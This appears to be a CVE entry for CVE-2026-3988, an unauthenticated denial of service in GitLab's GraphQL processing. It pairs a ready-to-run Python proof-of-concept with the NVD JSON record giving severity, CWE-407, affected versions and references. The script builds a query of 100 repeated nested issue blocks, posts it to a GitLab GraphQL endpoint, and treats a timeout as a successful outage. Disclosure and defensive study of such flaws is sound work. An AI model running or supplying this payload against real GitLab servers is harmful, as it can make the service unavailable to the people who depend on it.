CVE-2026-3988

import requests # Target GitLab instance URL url = "https://target-gitlab-instance.com/api/graphql" # Construct a malicious GraphQL query designed to trigger DoS # Example: A deeply nested or highly complex query malicious_query = """ query { project(fullPath: "root/project") { %s } } """ % "\n ".join(["issues { nodes { title author { name } } }" for _ in range(100)]) payload = { "query": malicious_query, "variables": {} } try: print("[+] Sending malicious GraphQL payload...") response = requests.post(url, json=payload, timeout=10) if response.status_code == 200: print("[-] Request processed, server might be vulnerable or payload ineffective.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out. Possible Denial of Service triggered.") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-3988", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:09.553", "lastModified": "2026-03-26T17:42:09.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.5 before 18.8.7, 18.9 before 18.9.3, and 18.10 before 18.10.1 that could have allowed an unauthenticated user to cause a denial of service by making the GitLab instance unresponsive due to improper input validation in GraphQL request processing."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afectaba a todas las versiones desde la 18.5 antes de la 18.8.7, la 18.9 antes de la 18.9.3 y la 18.10 antes de la 18.10.1 que podría haber permitido a un usuario no autenticado causar una denegación de servicio al hacer que la instancia de GitLab no respondiera debido a una validación de entrada incorrecta en el procesamiento de solicitudes GraphQL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-407"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "991041A7-46AA-49CE-9AA0-D2BF561C4713"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "91B89AFE-E378-447B-99AB-627A8BE12907"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "96F7E7EC-4C2E-4A48-8134-9262B251C89C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "C3240349-67A3-43E2-BAD9-EFAA3E0A5D31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:community:*:*:*", "matchCriteriaId": "D5B6ECC9-6AEA-4DD0-B12B-A3A7A9FE91DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "2B8DF779-B99E-4096-B734-78AB1849D136"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/03/25/patch-release-gitlab-18-10-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/593140", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3597342", "source": "[email protected]", "tags": ["Permissions Required"]}]}}